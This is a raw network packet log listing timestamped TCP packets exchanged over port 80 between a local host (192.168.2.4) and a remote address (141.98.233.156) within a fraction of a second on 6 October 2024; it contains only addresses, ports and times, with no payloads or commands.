Oct 6, 2024 22:33:17.810368061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810369015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810385942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810393095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810400963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810401917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810417891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810421944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810432911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810436010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810447931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810457945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810462952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810467005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810480118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810483932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810497046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810497999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810513020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810523033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810528994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810537100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810549021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810554028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810564995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810569048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810581923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810583115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810600042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810617924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.810959101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810973883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810990095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.810997963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811006069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811008930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811022997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811028004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811044931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811048031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811054945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811064005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811078072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811093092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811100006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811108112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811117887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811124086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811139107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811144114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811163902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811168909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811180115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811192989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811196089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811211109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811213970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811222076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811228037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811243057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811258078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811259985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811270952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811275005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811294079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811300039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811310053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811310053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811326027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811336994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811341047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811347961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811357975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811371088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811372995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811379910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811398983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811410904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811412096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811429977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811445951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811461926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811470985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811476946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811492920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811494112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811517000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811539888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811873913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811889887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811904907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811913967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811920881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811923981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811938047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811938047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811954975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811965942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811970949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811975002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.811986923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.811994076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812002897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812011957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812021971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812022924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812042952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812045097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812055111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812072992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812088966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812093019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812117100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812123060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812123060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812134027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812149048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812165022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812172890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812180042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812191963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812196970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812212944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812217951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812236071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812242031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812252998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812266111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812267065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812278032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812283039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812294960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812299013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812314987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812328100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812333107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812338114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812350035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812364101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812366009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812381029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812388897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812397003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812413931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812414885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812437057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812463999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812848091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812864065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812877893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812895060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812901020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812911034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812922001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812927008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812944889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812948942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812959909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812973022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.812974930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812992096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.812999010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813015938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813019991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813031912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813044071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813055038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813055038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813071966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813072920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813086033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813088894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813105106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813108921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813119888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813124895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813137054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813143015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813153028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813162088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813169003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813172102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813184977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813184977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813201904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813210011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813219070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813222885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813235044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813241959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813251972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813261986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813266993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813272953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813282013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813282967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813298941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813306093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813313961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813319921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813330889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813335896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813348055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813353062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813363075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813370943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813388109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813406944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813828945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813844919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813859940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813874960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813883066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813891888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813906908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813908100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813924074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813930035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813941002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813951015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813956022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813971996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813972950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.813987970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.813987970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814007998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814016104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814034939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814038992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814048052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814052105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814073086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814089060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814095020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814105034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814119101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814121962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814138889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814142942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814153910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814162970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814168930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814183950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814188957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814198971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814213991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814213991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814229012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814235926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814246893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814259052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814261913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814279079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814285994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814296007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814308882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814312935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814330101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814335108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814344883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814354897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814384937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814738989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814755917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814769983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814778090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814786911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814802885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814804077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814811945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814817905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814830065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814835072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814841986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814852953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814861059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814867020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814872980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814883947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814889908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814908028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814913034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814918995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814937115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814950943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814963102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814966917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.814975023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.814984083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815000057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815010071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815011024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815025091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815040112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815042019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815042019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815054893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815058947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815071106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815074921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815088034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815100908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815104008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815112114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815119982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815133095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815135956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815145969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815150976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815164089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815167904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815177917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815182924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815195084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815200090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815207005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815217018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815227032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815232992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815239906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815249920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815258026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815265894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815268040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815282106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815288067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815303087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815320015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815341949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815457106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.815742016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815758944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.815773010 CEST	80	49741	141.98.233.156	192.168.2.4
